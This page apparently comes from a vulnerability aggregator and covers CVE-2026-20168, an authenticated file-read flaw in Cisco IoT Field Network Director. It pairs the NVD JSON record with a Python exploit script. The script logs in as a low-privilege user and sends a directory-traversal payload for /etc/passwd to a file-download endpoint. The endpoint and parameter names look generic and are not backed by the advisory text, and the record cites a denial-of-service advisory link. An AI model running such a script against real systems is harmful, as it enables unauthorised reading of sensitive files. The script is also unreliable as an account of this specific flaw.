CVE-2026-20168

import requests # Target URL url = "https://target-ip/management/interface" # Attacker credentials (low privilege) credentials = { "username": "low_priv_user", "password": "password" } # Start a session to maintain authentication session = requests.Session() # 1. Login to get authenticated session login_resp = session.post(url + "/login", data=credentials) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit: Craft payload to read sensitive file (e.g., /etc/passwd) # The payload attempts to traverse directories using '../' payload = { "file_path": "../../../../../etc/passwd" } # 3. Send malicious request exploit_resp = session.get(url + "/file_download", params=payload) # 4. Check result if exploit_resp.status_code == 200 and "root:" in exploit_resp.text: print("[+] Vulnerability exploited successfully!") print("File content:") print(exploit_resp.text) else: print("[-] Exploit failed or file not found.")

{"cve": {"id": "CVE-2026-20168", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:20.590", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IoT Field Network Director could allow an authenticated, remote attacker with low privileges to retrieve files that they do not have permission to access.\r\n\r\nThis vulnerability is due to insufficient file access checks. An attacker could exploit this vulnerability by submitting crafted input in the web-based management interface. A successful exploit could allow the attacker to read files that they are not authorized to access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-388"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iot-fnd-dos-n8N26Q4u", "source": "[email protected]"}]}}